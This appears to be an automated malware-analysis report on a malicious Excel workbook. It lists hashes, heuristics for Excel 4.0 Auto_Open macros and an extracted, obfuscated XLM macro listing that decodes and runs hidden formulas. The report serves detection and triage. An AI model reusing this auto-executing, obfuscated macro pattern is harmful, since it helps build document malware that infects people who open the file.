Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 217934dfd49a0f1b…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:41:43 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: 76754af2c6913ff15c14453512db0005 SHA-1: b62c28d174ebc071223f9fdfc4662e9ad9d5f7b5 SHA-256: 217934dfd49a0f1b877d0ee8229ab3e3f5f4289b38f64ed3c157791bba55f04f
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6632 bytes
SHA-256: 4f76898a993b4a082b36ab2465ecd379d24f745223fef034d449b74154b507dc
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  jFp
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H160 
' 0018     24 LABEL : Cell Value, String Constant - BRJOUcPAD len=0 
' 0018     26 LABEL : Cell Value, String Constant - GpjdzowoLWc len=0 
' 0018     23 LABEL : Cell Value, String Constant - ICuibACf len=0 
' 0018     22 LABEL : Cell Value, String Constant - KGlzAnx len=0 
' 0018     23 LABEL : Cell Value, String Constant - knaGHMbN len=0 
' 0018     21 LABEL : Cell Value, String Constant - KSHthd len=0 
' 0018     27 LABEL : Cell Value, String Constant - lhwzDcPvWrta len=0 
' 0018     20 LABEL : Cell Value, String Constant - oyZMM len=0 
' 0018     22 LABEL : Cell Value, String Constant - pdlTtyx len=0 
' 0018     23 LABEL : Cell Value, String Constant - qnwzmRJU len=0 
' 0018     25 LABEL : Cell Value, String Constant - rhecRaiBLi len=0 
' 0018     22 LABEL : Cell Value, String Constant - RRIbrFv len=0 
' 0018     27 LABEL : Cell Value, String Constant - rUZLjNnSySQx len=0 
' 0018     27 LABEL : Cell Value, String Constant - sjhUVFbPnASt len=0 
' 0018     26 LABEL : Cell Value, String Constant - tEhZuovNHIF len=0 
' 0018     24 LABEL : Cell Value, String Constant - VuSOXwIbq len=0 
' 0018     21 LABEL : Cell Value, String Constant - WAvjPl len=0 
' 0018     26 LABEL : Cell Value, String Constant - wCQfvhGYRGZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - xkhhdKZKZL len=0 
' 0018     21 LABEL : Cell Value, String Constant - ywktRn len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  jFp,H77,"SET.NAME("lhwzDcPvWrta",0+VALUE("0"))",""
'  jFp,H79,"SET.NAME("tEhZuovNHIF",lhwzDcPvWrta)",""
'  jFp,H81,"SET.NAME("VuSOXwIbq",lhwzDcPvWrta)",""
'  jFp,H84,"SET.NAME("ywktRn",COUNTA(WAvjPl))",""
'  jFp,H88,"SET.NAME("sjhUVFbPnASt",COUNTA(GpjdzowoLWc))",""
'  jFp,H93,[],""
'  jFp,S94,"",239.00000000000000000000
'  jFp,S95,"",985.00000000000000000000
'  jFp,S96,"",-125.00000000000000000000
'  jFp,H97,"SET.NAME("wCQfvhGYRGZ","")",""
'  jFp,S97,"",105.00000000000000000000
'  jFp,S98,"",-894.00000000000000000000
'  jFp,H99,"tEhZuovNHIF",""
'  jFp,S99,"",-762.00000000000000000000
'  jFp,H102,"SET.NAME("xkhhdKZKZL",HLOOKUP("*",WAvjPl,tEhZuovNHIF,FALSE))",""
'  jFp,H104,"rUZLjNnSySQx",""
'  jFp,H107,"SET.NAME("oyZMM",lhwzDcPvWrta)",""
'  jFp,H109,[],""
'  jFp,H112,"oyZMM",""
'  jFp,H114,"rhecRaiBLi",""
'  jFp,H119,"KGlzAnx",""
'  jFp,H121,"ICuibACf",""
'  jFp,H123,"SET.NAME("KSHthd",VALUE(HLOOKUP("*",GpjdzowoLWc,ICuibACf,FALSE)))",""
'  jFp,H128,"RRIbrFv",""
'  jFp,H132,"wCQfvhGYRGZ",""
'  jFp,H137,"VuSOXwIbq",""
'  jFp,H140,NEXT(),""
'  jFp,H144,"BRJOUcPAD",""
'  jFp,H149,[],""
'  jFp,H151,"qnwzmRJU",""
'  jFp,H154,NEXT(),""
'  jFp,H157,RETURN(),""
'  jFp,H183,"SET.NAME("pdlTtyx",H77)",""
'  jFp,H185,"WAvjPl",""
'  jFp,H187,"SET.NAME("GpjdzowoLWc",R69C14)",""
'  jFp,H189,"SET.NAME("qnwzmRJU",197)",""
'  jFp,H193,"SET.NAME("knaGHMbN",8)",""
'  jFp,H196,pdlTtyx(),""
'  jFp,H197,HALT(),""

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